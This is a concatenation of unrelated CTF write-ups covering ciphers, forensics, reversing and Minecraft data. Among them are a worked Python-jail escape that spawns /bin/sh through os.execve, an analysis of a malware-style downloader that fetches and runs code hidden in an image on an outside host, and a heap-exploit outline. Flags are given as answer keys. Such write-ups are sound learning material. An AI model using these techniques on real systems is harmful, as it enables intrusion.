Also, I figured out the intended [solution](solve.py) after the ctf ended. |
# Cool Image
## Description
My friend told me he found a really cool image, but I couldn't open it. Can you help me access the image?
[cool.pdf](cool.pdf)
## Solution
Just change the extension from pdf to png to get the answer.

The flag is
```hsctf{who_uses_extensions_anyways}``` |
# S-Q-L
## Description
Keith keeps trying to keep his flag safe. This time, he used a database and some PHP.
https://s-q-l.web.chal.hsctf.com/
## Solution
Simple SQL injection

```hsctf{mysql_real_escape_string}``` |
# License
## Description
Description: Keith made a cool license-checking program but he forgot the flag he used to create the key! To make matters worse, he lost the source code and stripped the binary for his license-generator program. Can you help Keith recover his flag? All he knows is:* The license key is 4-EZF2M-7O5F4-V9P7O-EVFDP-E4VDO-O* He put his name (in the form of 'k3ith') as the first part of the flag* There are 3 underscores* The flag is in the format hsctf{}* The flag doesn't have random character sequences (you should be able to read the entire flag easily).* The flag only contains lowercase English letters and numbers.* The generator might produce the same keys for different inputs because Keith was too lazy to write the algorithm properly.
[license](license)
## Solution
Input ```a..z0..9``` and find the characters one by one.

The flag is
```hsctf{k3ith_m4k3s_tr4sh_r3}``` |
# Hidden Flag (Misc 296 points)

We are given an [image](chall.png).
Lets see what type of file it is.```vagrant@ubuntu-xenial:~$ file chall.pngchall.png: datavagrant@ubuntu-xenial:~$```
It is named with .png but it's headers don't match png format. Maybe the file is encrypted.
Lets see for any embedded strings in it.
```vagrant@ubuntu-xenial:~$ strings chall.png....key is invisiblevagrant@ubuntu-xenial:~$```It says "key is invisible". Maybe the file is encrypted with the key "invisible".
Lets try XOR first.
```infile = "chall.png"outfile = "dec.png"
key = "invisible"
s = open(infile, "r").read()p = ""for i in range(len(s)): p += chr(ord(s[i]) ^ ord(key[i%len(key)]))
open(outfile, "w").write(p)``````vagrant@ubuntu-xenial:~$ file dec.pngdec.png: PNG image data, 665 x 268, 8-bit/color RGB, non-interlacedvagrant@ubuntu-xenial:~$```After decrypting the original file, we got a png. Lets open it and check.

There is our flag. |
# I Thought Trig Was Really Easy
## Description
After finishing a hard lesson in geometry class, Keith decided that he wanted to put your understanding of trig and python to the test. Can you solve his challenge?
[trig_is_really_hard.py](trig_is_really_hard.py)
## Solution
The ans in [trig_is_really_hard.py](trig_is_really_hard.py) was generated by:
```for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1))```
In which the length of lots_of_nums = (n//a+a//2+a%2) - (n//a-a//2) + 1 = a + 1```lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2))```We can see that the lenth of ans is 90 = 2 + 3 + ... + 13. Thus the len(inp) sould be 12.
So I looped through printable characters (which were substracted by 96) and check the genrated list is the same as ans by:```for i in range(0, 12): for k in range(-64,31): app = [] for j in lots_of_nums(nice_math(k, 12 - i), i + 1): app.append(nice_math(j, i + 1)) if app == ans[(4+i)*(i+1)//2-2-i:(4+i)*(i+1)//2]: #(4+i)*(i+1)//2 = 2+3+...+(i+2) for l in app: out.append(l) break inp += chr(96+k)```The complete srcipt can be seen [here](trig_is_really_easy.py).
And finally it gave me the flag.
```hsctf{:hyperthonk:}``` |
> matryoshka>> 738>> There was a downloader found on a Mac desktop. It's your job to have layers of fun getting the flag.> > Written by malwareunicorn>> Download: [matryoshka.tar.gz](https://0xd13a.github.io/ctfs/fbctf2019/matryoshka/matryoshka.tar.gz)
[Matryoshka](https://en.wikipedia.org/wiki/Matryoshka_doll) is a fitting name for this challenge as there is a number of nested levels one has to unroll to solve it. It was a lot of fun (and hair pulling) to solve and a great opportunity to try [Ghidra](https://ghidra-sre.org/).
We start with a Mach-O 64-bit executable. It reverses in Ghidra easily (in absence of a Mac or an emulator we will be doing static analysis). Here are the most important pieces:
```c ... _send_request(&local_1c); _receive_response(&local_1c,&local_28);
... png_header_offset = _check_png_header(local_28);
... pcVar2 = local_28 + png_header_offset lVar3 = (*pcVar2)(0); ... pcVar2 = local_28 + png_header_offset + lVar3 _data = (*pcVar2)(0);
... _data = __OSSwapInt64(_data);
... intflag_idx1 = 7; while (-1 < intflag_idx1) { local_60 = local_60 << 8 | (ulong)intermid_flag[(long)intflag_idx1]; intflag_idx1 = intflag_idx1 + -1; } intflag_idx2 = 0xf; while (7 < intflag_idx2) { local_68 = local_68 << 8 | (ulong)intermid_flag[(long)intflag_idx2]; intflag_idx2 = intflag_idx2 + -1; } intflag_idx3 = 0x17; while (0xf < intflag_idx3) { local_70 = local_70 << 8 | (ulong)intermid_flag[(long)intflag_idx3]; intflag_idx3 = intflag_idx3 + -1; } intflag_idx4 = 0x1b; while (0x17 < intflag_idx4) { local_74 = local_74 << 8 | (uint)intermid_flag[(long)intflag_idx4]; intflag_idx4 = intflag_idx4 + -1; } if (((((local_60 ^ local_68) == 0x3255557376f68) && ((local_68 ^ local_70) == 0x393b415f5a590044)) && ((local_70 ^ (ulong)local_74) == 0x665f336b1a566b19)) && (((ulong)local_74 ^ 0x115c28da834feffd) == _data)) { ...
```
Application goes through the following steps:
* Send a GET request to address [http://157.230.132.171/pickachu_wut.png](https://0xd13a.github.io/ctfs/fbctf2019/matryoshka/pickachu_wut.png). The image contains embedded code that we will analyze next.
* Find PNG header in the response and count offset ```0x60000``` from it
* Call code at that location and receive second offset as a response
* Call code at the second location and receive a 64bit value response
* XOR that value with 4 other 64bit constants to verify flag contents
Let's download the image, cut it at the ```0x60000``` mark and load it in Ghidra again. The code asks for us to enter a key, and then does a ROT13 on it and compares it to the encoded string at offset ```0x172```: ```4ZberYriryf2TbXrrcTbvat``` (this string decodes to ```4MoreLevels2GoKeepGoing```). If the user input matches, then the first 2 characters from this string (```4M```) are XORed with ```0x354c``` and returned. The result is ```0x7878``` and this becomes our offset for the code in the next stage.
We repeat the cutting of the file (this time at offset ```0x67878```) and analyze it in Ghidra. Here complexity increases, the code asks for the next key (4 bytes in length) and then uses its value to decode (via repeating ```SUB mod 0x100```) ```0x678``` bytes at offset ```0x137```. However the correctness check before a call to decoded block makes sure that the 4 bytes at that location match a constant value (```0xe5894855```):
``` 000000e4 41 8b 55 00 MOV EDX,dword ptr [R13]=>SUB_00000137 = C7h 000000e8 81 fa 55 CMP EDX,0xe5894855 48 89 e5 000000ee 75 1f JNZ LAB_0000010f 000000f0 b8 04 00 MOV EAX,0x2000004 00 02 000000f5 bf 01 00 MOV EDI,0x1 00 00 000000fa 48 8d 35 LEA RSI=>DAT_00000e37,[0xe37] = 4Bh K 36 0d 00 00 00000101 ba 0c 00 MOV EDX,0xc 00 00 00000106 0f 05 SYSCALL 00000108 31 c0 XOR EAX,EAX 0000010a 41 ff d5 CALL R13=>SUB_00000137```
This tells us what the key is: ```0xe5894855``` subtracted from ```0x59b978c7``` (bytes at the beginning of the encoded section) gives us ```r00t``` (reversed to account for little-endianness).
After decoding with the key let's repeat file cutting again and reverse code at offset ```0x137```. This gives us yet another iteration that asks for an 8-byte key and this time around XORs it with ```0x44a``` values at offset ```0x300```:
```c ... if ((int)((ulong)DAT_00000576 >> 0x20) == 0x4a514f75) { lVar2 = 0; while (lVar2 < 0x44a) { *(byte *)(lVar2 + 300) = *(byte *)(lVar2 + 300) ^ *(byte *)((long)((int)lVar2 % 8) + 0x576); lVar2 = lVar2 + 1; } if (_SUB_0000012c == -0x1a76b7ab) { syscall(); uVar1 = (*(code *)&SUB_0000012c)(1,0x586,0xc); return uVar1; } } ...```
Here we are helped again as 2 constants are now embedded in the code - ```0x4a514f75``` and ```-0x1a76b7ab```. The first one is the half of the key, the second one we can use to determine the other half of the key by XORing it with the appropriate bytes in the encoded section. After a few calculations we get the key ```LJcbuOQJ``` and use it to decode the code block.
Rinse and repeat - we cut the file again and disassemble the encoded section. The new code is a little more complex. It too asks for the key and calls two subroutines that use it to decode yet another encoded section and return 8 bytes from it:
```c ... if ((int)((ulong)DAT_00000254 >> 0x20) == 0x36395477) { FUN_00000113(0,0x254,8,0x254,0x264); FUN_00000194(uVar3,uVar2,0x30,0x224,0x224,0x264); syscall(); return ZEXT816(DAT_00000224); } ...```
However, this time around only half of the key is known - ```0x36395477``` (```wT96```), so we will have to bruteforce the remaining 4 characters. The subroutines create an encoding table based on the key and use it to decode the encoded ```0x30``` bytes (of which we will really only need the first 8 bytes).
But how do we determine which 4-character combination is correct? We need some kind of a test. Thankfully in the original dowloader we have 4 8-byte checksum values, which we can apply, and see if the all the resulting characters in the flag are in the sane character range (```[a-zA-Z0-9_]```).
Let's reimplement the decoding algorithm in Python, add flag correctness check, and bruteforce through all possible 4-character key values:
```pythonfrom pwn import *
def tryKey(key): #build initial table tab = bytearray(256) for i in range(256): tab[i] = i # create full key fullkey = key+"wT96" # update table based on key k = 0 uv = 0 for i in range(256): cv = tab[i] uv = (uv + cv + ord(fullkey[k])) & 0xff tab[i] = tab[uv] tab[uv] = cv k = (k + 1) % 8
# data to decode - taken from the binary enc_data = bytearray(b'\xF6\x2C\x72\x1A\x03\x99\x0E\x78\xBD\x90\xE9\x68\xD0\x69\x37\x29\xF8\x12\xF4\xE5\xD0\xFB\xF3\x7E\x72\x61\x79\x19\xED\x44\x12\x52\xF5\xF9\xAA\x14\x36\x0D\x1F\xB2\x52\x6B\xF2\x6A\xDA\x9D\xEC\x3C') # decode base value for the flag uv3 = 0 uv4 = 0 for i in range(8): uv3 = (uv3 + 1) & 0xff cv1 = tab[uv3] uv4 = (cv1 + uv4) & 0xff cv2 = tab[uv4] tab[uv3] = cv2 tab[uv4] = cv1 enc_data[i] = tab[(cv1 + cv2) & 0xff] ^ enc_data[i] x0 = b'\x11\x5c\x28\xda\x83\x4f\xef\xfd' x1 = b'\x66\x5f\x33\x6b\x1a\x56\x6b\x19' x2 = b'\x39\x3b\x41\x5f\x5a\x59\x00\x44' x3 = b'\x00\x03\x25\x55\x57\x37\x6f\x68' flag = bytearray(8*4) # now decode 4 8-byte pieces of the flag for x in range(8): enc_data[x] ^= ord(x0[x]) flag[x] = enc_data[x] enc_data[x] ^= ord(x1[x]) flag[x+8] = enc_data[x] enc_data[x] ^= ord(x2[x]) flag[x+16] = enc_data[x] enc_data[x] ^= ord(x3[x]) flag[x+24] = enc_data[x] # reverse the string and only leave 28 bytes of it flag = flag[::-1][0:28] # are the string characters in [a-zA-Z0-9_]? for x in range(len(flag)): if chr(flag[x]) not in string.ascii_letters+string.digits+'_': return False print "\n\n\n\nFlag found! key: "+fullkey+" flag: fb{"+flag+"}\n\n\n\n" return True
s = iters.mbruteforce(lambda x: tryKey(x), string.ascii_letters + string.digits, 4, 'fixed') ```
When we run the script we get the flag within several minutes:
```sh$ python decode.py [-] MBruteforcing: Trying "XzDw","XHXF","XHXG","Xrjr","YnAm","Yjqj","XL7O","XYB1" -- 80.155%
Flag found! key: YrQmwT96 flag: fb{Y0_daWg_1_h34rd_u_1ik3_fl4gs}
[+] MBruteforcing: Found key: "YrQm"```
The flag is ```fb{Y0_daWg_1_h34rd_u_1ik3_fl4gs}```. |
# Daheck
## Description
Unicode? ...da heck?
[DaHeck.java](DaHeck.java)
## Solution
The DaHeck class have a check_flag function which is:``` private static boolean check_flag(String s) { char[] cs = s.toCharArray(); char[] daheck = new char[cs.length]; int n = cs.length ^ daheck.length; char[] heck = "001002939948347799120432047441372907443274204020958757273".toCharArray();
while (true) {
try { if (heck[n] - cs[n % cs.length] < 0) daheck[n] = (char) (heck[n] - cs[n % cs.length] % 128); else daheck[n] = (char) (heck[n] - cs[n % cs.length] % 255);
n++; } catch (Throwable t) { break; } }
return "\uffc8\uffbd\uffce\uffbc\uffca\uffb7\uffc5\uffcb\u0005\uffc5\uffd5\uffc1\uffff\uffc1\uffd8\uffd1\uffc4\uffcb\u0010\uffd3\uffc4\u0001\uffbf\uffbf\uffd1\uffc0\uffc5\uffbb\uffd5\uffbe\u0003\uffca\uffff\uffda\uffc3\u0007\uffc2\u0001\uffd4\uffc0\u0004\uffbe\uffff\uffbe\uffc1\ufffd\uffb5".equals(new String(daheck)); }```The string daheck should be identical with the int array at the end.
The while loop that generates daheck operates like this:
```for n in range(len(cs)): daheck[n] = (char) (heck[n] - cs[n])```Which is an unsigned int substraction. (-1 = \uffff)
Hence, I reversed it using numpy's uint16 in the [script](daheck.py).
```for i in range(len(daheck)): cs += chr(np.uint16(-daheck[i] + heck[i]))```
And that got me the flag.
```hsctf{th4t_w4s_fun!_l3ts_try_s0m3_m0r3_r3v3rs3}``` |
# wuphf (50)
## Problem
Social media is so fractured today. I mean, there's Discord, Twitter, Instagram... Don't you wish there was just one platform that could send things to every platform? Sadly that's not the case, so to find the flag you will have to collect flag-ments from all of our platforms.
## Solution
The flag is scattered between their Discord, Twitter, and Instagram. Another reality check. Visit each of those links on the front page of the CTF website to put together the flag.
```bcactf{h17_u5_uP_d3VwaGYuY29t}``` |
# cracking-the-cipher (50)
## Problem
Hackers work in the most unlikely of places. We have recently discovered one working in a grocery store (weird), and he was able to print out receipts to pass on information to certain customers. We have obtained one of the receipts, but we cannot tell what it says.
Grocery Store Receipt| Item | Unit Price | Quantity | Overall Price || - | - | - | - || Caesar Salad Dressing | 5.99 | 4 | 23.96 || Vinegar | 6.99 | 1 | 6.99 || Apples (Honey Crisp) | 2.79 | 5 | 13.95 || Roast Chicken (7.59) | 1 | 7.59 || Tomatoes | 1.59 | 4 | 6.36 || | | Subtotal | 58.85 || | | Paper Bag Fee | 0.10 || | | Taxes (9.00%) | 0.00 || | | Total | 58.95 |
vjg rcuuyqtf ku ngctpkpi_ecguct_ekrjgtu_ku_hwp!
Can you crack the code and tell us the information within? The answer should be in the format `bcactf{answer}`.
## Solution
The biggest hint here is the "Caesar Salad Dressing." The string `vjg rcuuyqtf ku ngctpkpi_ecguct_ekrjgtu_ku_hwp!` is encoded using the Caesar cipher. We just need to find out with a rotate value of what.
A while ago, I wrote a script that bruteforces the caesar cipher. Here's the source code:```python#!/usr/bin/env python3
import sys
def main(string):
alphabet = list("abcdefghijklmnopqrstuvwxyz" * 2)
for shift in range(26):
output = ""
for char in string: try: output += alphabet[alphabet.index(char) + shift] except: output += char
print("-> %s\t%s" % (shift, output))
if __name__ == "__main__": main(" ".join(sys.argv[1::]).lower())```
Here it is being used to solve this challenge.
```$ ./caesar-cipher.py vjg rcuuyqtf ku ngctpkpi_ecguct_ekrjgtu_ku_hwp!-> 0 vjg rcuuyqtf ku ngctpkpi_ecguct_ekrjgtu_ku_hwp!-> 1 wkh sdvvzrug lv ohduqlqj_fdhvdu_flskhuv_lv_ixq!-> 2 xli tewwasvh mw pievrmrk_geiwev_gmtlivw_mw_jyr!-> 3 ymj ufxxbtwi nx qjfwsnsl_hfjxfw_hnumjwx_nx_kzs!-> 4 znk vgyycuxj oy rkgxtotm_igkygx_iovnkxy_oy_lat!-> 5 aol whzzdvyk pz slhyupun_jhlzhy_jpwolyz_pz_mbu!-> 6 bpm xiaaewzl qa tmizvqvo_kimaiz_kqxpmza_qa_ncv!-> 7 cqn yjbbfxam rb unjawrwp_ljnbja_lryqnab_rb_odw!-> 8 dro zkccgybn sc vokbxsxq_mkockb_mszrobc_sc_pex!-> 9 esp alddhzco td wplcytyr_nlpdlc_ntaspcd_td_qfy!-> 10 ftq bmeeiadp ue xqmdzuzs_omqemd_oubtqde_ue_rgz!-> 11 gur cnffjbeq vf yrneavat_pnrfne_pvcuref_vf_sha!-> 12 hvs doggkcfr wg zsofbwbu_qosgof_qwdvsfg_wg_tib!-> 13 iwt ephhldgs xh atpgcxcv_rpthpg_rxewtgh_xh_ujc!-> 14 jxu fqiimeht yi buqhdydw_squiqh_syfxuhi_yi_vkd!-> 15 kyv grjjnfiu zj cvriezex_trvjri_tzgyvij_zj_wle!-> 16 lzw hskkogjv ak dwsjfafy_uswksj_uahzwjk_ak_xmf!-> 17 max itllphkw bl extkgbgz_vtxltk_vbiaxkl_bl_yng!-> 18 nby jummqilx cm fyulhcha_wuymul_wcjbylm_cm_zoh!-> 19 ocz kvnnrjmy dn gzvmidib_xvznvm_xdkczmn_dn_api!-> 20 pda lwoosknz eo hawnjejc_ywaown_yeldano_eo_bqj!-> 21 qeb mxpptloa fp ibxokfkd_zxbpxo_zfmebop_fp_crk!-> 22 rfc nyqqumpb gq jcyplgle_aycqyp_agnfcpq_gq_dsl!-> 23 sgd ozrrvnqc hr kdzqmhmf_bzdrzq_bhogdqr_hr_etm!-> 24 the password is learning_caesar_ciphers_is_fun!-> 25 uif qbttxpse jt mfbsojoh_dbftbs_djqifst_jt_gvo!```
The only one that makes sense is when it is rotated 24 times.
`the password is learning_caesar_ciphers_is_fun!` |
# three-step-program (125)
## Problem
We found this strange file with a bunch of stuff in it... Can you help us decode it?
(Attachments: files/RmlsZW5hbWU.txt)
## Solution
The first part is encoded using base64, as intuition tells me from the trailing `=` signs. This can easily be decoded from the command line.
```$ echo "MzIgLSAgfDMgVGltZXMgQSBDaGFybXwgLSAzMg==" | base64 -d32 - |3 Times A Charm| - 32```
Looks like this is a hint for the next one. We need to decode it using base32 3 times. No problem. This is again trivial and can be done from the command line.
```$ echo "JJGTEVSLKNBVISSGINCU2VCTGJFVETCWKNGVGTKLKJEEKQ2VJNEUSNC2KZKVCS2OJFNE4RKPKNFUUSKSJNKTITSDKJFEERKUI5GTETKJLJGVMQ2RJNLEWUSLIZAVES2DJRFE2RKDK5JU2SKKJBCTEVKLJBDUSWSUI5KTETSLKZEVKS2TLJKEWUSFIU2FKU2WJRBEIVCFKFJVASKWIFKU2USLIRDUUR2FGJJEWQ2LKJGFMR2TJNCUYSSIIRFU2U2UJFCTEVKJKZJUMSKKJNKU6VK2KRFVES2VGZKEWUSKIJCVIR2XKNBEUNKGIZDVMMSEJRFEERKDKRJVOR2SJJKUGV2TJVFDKR2VGRLVGSKLJUZEKSKWJNHEWWSKKVDVCSSUJFJEERJUK5JVKTCCIZKEKVCDIVFFUQKWKFITEQSJJZEVKV2SGJDEYQSCKVBVMSSTJFFEMRSFKMZEISKFLJCVSTKTIZEUUTCGJ5JVUV2KJJAVKNSVKNMUWTSBKZKU2MSUJJLEYRCFKEZEETCKJNDECVCSKZFU4QSVI5ITEU2LJZCEMU2VJNDEYRSOIVKVCS2OJRFE4RKPKFNFIS2SINCTEUSTKZGEERCVKNJEGRKKGVDEISKXINBEOVSDIVGVES2DJM2UIVKXKNFUKSS2I5LE2VSLLBGEKWSVJFJFGUCLLJHEKQ2QJI2UQVJWKE6T2PJ5" | base32 -d | base32 -d | base32 -dWhy english so ard to tok. No speak more English. Ail gi you tu hints to read my encrypted languich.
1. SALT iz key to gret food!2. Le francais crypte le meilleur```
Looks like this is hinting at some sort of a French cipher, with a key of "SALZ" as given by hint 1. Looks like this is a Vigenere cipher, then. You can learn more about the Vigenere cipher and access a converter here: https://www.dcode.fr/vigenere-cipher
The key is SALT (the english translation of SALZ) and the cipher is vigenere.
```lhlm oad lamaew eyhmgs. lg i sxsro rgu ntee qhj a qesg? dbfcp rgu stne xtve tm lhtl xac, b’dl rh wadr gn jhm ayw zayw at zowr. mvscey{bu57_j0n_o4i7_kgbhmffhlqe} bfm, te htjnpw, feim lixx at hhf’t mx ko dbepwx…
that was simple enough. so i heard you came for a flag? since you have made it this far, i’ll go easy on you and hand it over. bcactf{ju57_y0u_w4i7_znjhbmnhaxm} but, be warned, next time it won’t be so simple…``` |
tl;dr* Make fake fastbin chunk with size of 8, then free that to overwrite `max_fast`* Do another free, with size pointing to linker got table* Then write shellcode and exit
[script](https://gist.github.com/theKidOfArcrania/a19bd300b9ee9acfb4e22279a86c1a3a) |
BCACTF a 7-days long CTF for High Schoolers had some pretty good challenges. Here are some of the writeups which were my favourites.
### Forensics[One-Punch-Zip](#one-punch-zip)
### Binary Exploitation[Executable-2](#executable-2)
******
# Forensics
## one-punch-zip
With 67 solves this challenge was a medium chall. A png and a password protected zip was given.

So first approach was to test strings, LSB, exif...but nothing juicy was there. In the png Saitama was holding a piece of paper. Well if you're an anime fan it was a scene from S01E05 which wasn't useful at all xD. I decided to use rockyou against the zip but then I remembered a chall from another CTF which was somewhat similar to this one. So I formed a wordlist out of the strings of png.
```strings opm.png > wordlist.txt```and then I used fcrackzip to crack the zip.```fcrackzip -v -D -u -p wordlist.txt superSecure.zip```
And luckily we found the password and the flag too.>bcactf{u5ing_4ll_string5_0f_1mag3_@s_dictionary?}
******
# Binary Exploitation
## Executable-2

Well this challenge was more of a reversing chall. It was a kind of successor to **executable** chall which actually had the flag in strings xD. An ELF executable huh!.

But now this time We really have to pick a ginormous number. Let's fire GDB...and looking at all the functions, we see only main which is of use. Disassembling main.We see a call to cmp function before exiting.

Let's set a breakpoint here :>b *0x00000000004006a4
And run. It hits the breakpoint. Let's check the registers.

We see that **rbx** has value **0x6b8b4567** which is hex equivalent of **1804289383**. Huh ! It asks us if it is 1. So let's make the value of rbx to 1.
>set $rbx=1
and then continuing the program we get a brainfuck string which is pretty much our required flag except it was ROT10... Don't know why but the real flag didn't made any sense.
>bcactf{Kboxd_ohomedklvoc_pex_S_drsxu_cy_cnuptrasgoebisaegobktjxmhlfksrasgeoib}
Voila....that was some of the writeups. We ended at **28** overall.That's it from Team [Dc1ph3R](https://ctftime.org/team/69272) |
# bca-craft (125)
## Problem
Yo I made a sic Minecraft adventure MAP! Try it out it's kewler than ur Fortnite gamez!
(This map runs in Minecraft 1.13.2 and above)
(Attachments: files/BCACraft.zip)
## Solution
I don't have a copy of Minecraft, but that's totally fine because I can just look at the data itself.
Let's first unzip it.
```$ unzip BCACraft.zip Archive: BCACraft.zip creating: BCACraft/ inflating: BCACraft/icon.png creating: BCACraft/region/ inflating: BCACraft/region/r.0.0.mca inflating: BCACraft/level.dat creating: BCACraft/datapacks/ creating: BCACraft/datapacks/bcacraft/ creating: BCACraft/datapacks/bcacraft/data/ creating: BCACraft/datapacks/bcacraft/data/bca/ creating: BCACraft/datapacks/bcacraft/data/bca/functions/ inflating: BCACraft/datapacks/bcacraft/data/bca/functions/flag.mcfunction inflating: BCACraft/datapacks/bcacraft/pack.mcmeta```
There's an interesting file called `BCACraft/datapacks/bcacraft/data/bca/functions/flag.mcfunction`. Let's go see what that is.
```$ cat BCACraft/datapacks/bcacraft/data/bca/functions/flag.mcfunctiontellraw @a ["Hello ", {"selector": "@p", "color": "yellow"}, "! The flag is: ", "b", "c", "a", "c", "t", "f", "{", {"text": "m1n3cr4f7_b347s_f0rtn1t3", "color": "blue", "bold": true, "obfuscated": true, "hoverEvent": {"action": "show_text", "value": {"text": "Good luck! ", "extra": [{"text": "Hint: Where does Minecraft store its worlds?", "color": "dark_gray", "italic": true}]}}}, "}"]```
Looks like we've found our flag.
```bcactf{m1n3cr4f7_b347s_f0rtn1t3}``` |
``` ############################################################### # Challenge # desc: [ hell_of_a_jail - PWN 150 ]## A guy from FBI found about your Ruby programming activities# and has put you inside a python Jail ! Find your way out !# ###################################################################:'# Profided is a ssh key, server address and port to connect to.# -p2222 [email protected]## After loggin into te server i got a nice welcome message# and a python shell.# But not just any shell a shell that would trim off all# input longer than 14 chacters, with only 3 functions to use and# remove all dots and double lower dashes and would spam your sceen# with a thousend times the phrase "TROLLED !!!!" if a double quote# occured in the input.# _________________________________________________________________# |To make matters evern worse the challenge was in python3. |# |Who would spam my screen with messages like, |# |Missing parentheses in call to 'print'. Did you mean print("A")? |# ,+----------------------------------------------------------------=+ ##################################################################### To check what fucntions i wase allowed to use out of the box.# I ran this on my local machine copied the output to the server# +---------------------------------+# | >>> for x in dir(__builtins__): |# | ... print('%s()'%x) |# +---------------------------------+# Then I scrolled trough the error messages to check what fuctions# were still alive and avalible.# Turns out the only build-in functions I got to play with were:## print(), exit() getattr()## the last one I've had never used before but we became good friends# during this challenge.####################################### [ CUTE NAMED FUNCIONS ] ## #G=getattr # G (fun) getattr # Because of de 15 chacterP=print # P (fun) print # I decided to rename themE=exit # E (fun) exit # to something shorter.# # as I also had to do with####################################### most of the stings.# SOME USEFULL STRINGS #u='_'+'_' # u (str) __ # While trying to explore thec=u+'class'+u # c (str) __class__ # possiabilities (or lack here of)cc=u+'call'+u #cc (str) __call__ # I realized soon enough thatcd=u+'code'+u #cd (str) __code__ # the time out on the sever wasd=u+'dir'+u # d (str) __dir__ # annoyingly short, itdd=u+'doc'+u #dd (str) __doc__ # also did't auto completeb=u+'bases'+u # b (str) __bases__ # on tab and was printings=u+'subclas'\ # s (str) __subclasses__ esc codes instead of moving 'ses'+u # my cursur back.ss='self' #ss (str) self # I quickly moved to worinkingh='/bin/sh' #h (str) /bin/sh # in this script instead.f='./flag.txt' # f (str) ./flag.txt #ff=u+'file'+u #ff (srt) __file__ # this would also allow me tofg=u+'flags'+u #fg (str) __flags__ # neatly organize my collectiono='open' # o (str) open # of usefull strings.r='read' # r (str) read # 'n other things.e='execve' # e (str) execve # my initinal tought was tom=u+'mro'+u # m (str) __mro__ # create something simulair to:n=u+'name'+u # n (str) __name__ # ().__class__.__bases__[0].__subclasses__()[40]("./key").read()a='append' # a (str) append # wich I've seen and even usedg=u+'globals'\ # g (str) __globals__ before. but i never fully ''+u # understood what was going onl=u+'locals'+u # l (str) __locals__ # after a lot of time READINGv='co_varnam'\ # v (str) co_varnames# python documentation. 'es' # I realized the fucntionsen='environ' #en (str) environ # that i wanted to use were.#------------------------------------ # removed from __subclasses__# I spend a lot of time browsing around this python class space# reading writeups and documentation trying to figure out how to# defeat this beast. I READ about how to use getattr to access atribute# form objects, I READ even more about this strange object oriented# world named python and exlporing with __mro__ __subclasses__ and __dir__# But what I should have READ a little bit better was .# !!!!! THE welcome MESSAGE comming FROM the SERVER. !!!!!!!!# There was a big BIG big hint in there pointing towards the exit()# It was only when I was rearanging my terminal windows, and closing# the billion python documentation tabs in my browser. when I# accsendently opened the ssh connection and wanted to close it with# CTRL+D, but that din't work because quit() wasn't there so I typed# exit() and I got promted with a error telling me that exit() requires 1# argument... And then my eye caught the Welcome message.# +------------------------------------------------------+# [Oh my jail ! You need to exit() with the correct key. ]# [It might make you free (and give you the flag) ]# +------------------------------------------------------+# After I saw this I know I was looking in the wrong places.# and I focused my attention to the object named quit.# Whom was holding a lot of goodies like __globals__# With a os object.## So I Quickly build a OBJchain.(Tm) and ran to the nearist exit.# (what for me was '/bin/sh' I had everything already prepaired# and ready to open a file or pop a shell.)############################################################# [VERY USEFULL THINGEMAGADGETS]C=G(E,c) # C (Obj) exit.__class__B=G(C,b) # B (Obj) exit.__class__.__bases__D=G(C,d) # D (Fun) exit.__class__.__dir__S=G(B[0],s) # S (Obj) exit.__class__.__bases__[0].__subclasses__M=G(C,m) # M (Obj) exit.__class__.__mro__X=G(E,g) # X (Dic) exit.__globals__O=X['os'] # O (Obj) exit.__globals__[os]Y=G(O,en) # Y (Dic) exit.__globals__[os].environF=G(O,e) # F (Obj) exit.__globals__[os].execveF(h,[h],Y) # exit.__globals__[os].execve('/bin/sh',['/bin/sh'],os.environ)########################################################### So after popping the shell I was a bit confused about the# absence of the flag.txt I was craving for for all these hours.# The only thing besides me in the path I ended up in was jail.pyc# but I rememberd the welcome message said something about keys and exits.# so I check it for strings. hoping it would hold a flag.# wich it din't. So I wrapped it in some base64 and copied it to my local# machine to decompile.## +----------------------------------------------------------------------+# |def exit(arg): |# | """Must invoke with the right arg in order to get the flag.""" |# | if arg == os.environ['0f4d0db3668dd58cabb9eb409657eaa8']: |# | print('Oh no ! You managed to escape\nValidate with the key') |# | return sys.exit(0) |# | print('Wrong key') |# +----------------------------------------------------------------------+# ## So yeah.. . . The flag was hiding in environment variables# INSA{688a3188bcd888ad4540da2ac73c94ae9f55ded00ed1742c4388bb7c3285acd2} ## I had a lot of fun and learned a lot during this challenge. # # Shout out tO My team Mates. # # -xXx- TNX FOR READING... # # #####M42D##################'''''''''''''''''''''''''''''''``` |
## bin01 (500 pts) (Crypto)```We intercepted this file in Wireshark. Can you decrypt it?
Given: a data file named bin01 ```
Examining the file, we see quite a lot of 0x90 bytes.
`hexdump -C bin01`:
```00000000 ef d5 dc d6 92 91 91 90 90 90 90 90 90 90 90 90 |................|00000010 93 90 ae 90 91 90 90 90 d0 95 90 90 90 90 90 90 |................|00000020 d0 90 90 90 90 90 90 90 a0 89 90 90 90 90 90 90 |................|00000030 90 90 90 90 d0 90 a8 90 99 90 d0 90 8d 90 8c 90 |................|00000040 96 90 90 90 94 90 90 90 d0 90 90 90 90 90 90 90 |................|00000050 d0 90 90 90 90 90 90 90 d0 90 90 90 90 90 90 90 |................|00000060 68 91 90 90 90 90 90 90 68 91 90 90 90 90 90 90 |h.......h.......|```
This made us suspect that the file had been XOR:ed with 0x90. XOR:ing the file with 0x90 gave us an ELF executable. For some reason it segfaulted when we ran it, but looking at the content with `string` revealed a suspicious-looking string (`QlRIX0NURnsweFhPUi0weEVuY29kZWQtMHhiaW5hcnl9`) which turned out to be the flag encoded in base64.
`BTH_CTF{0xXOR-0xEncoded-0xbinary}` |
# split-the-red-sea (100)
## Problem
Moses used a staff to split the Red Sea. What will you use?
(Attachments: files/redsea.png)
## Solution
I can already tell that we need to split the image up into its bit levels, and specifically look at the red planes. We can do this using stegsolve.
We find it in red bit level 1.
 |
# VirtualJava
## Description
There's nothing like executing my own code in Java in my own special way.
[VirtualJava.java](VirtualJava.java)
## Solution
The [class](VirtualJava.java) operates like some kind of assembly code.
It parses through the input characters and obtain an output. If the output in each step falls to owo[1], it would be wrong.
It's too tedious to reverse it artificially, so I reversed it using the given [code](VirtualJavaSolve.java) with some modification. Each step I at a printable character to the string and check the outcome. If the output was good, add it to the answer and move on to next word.
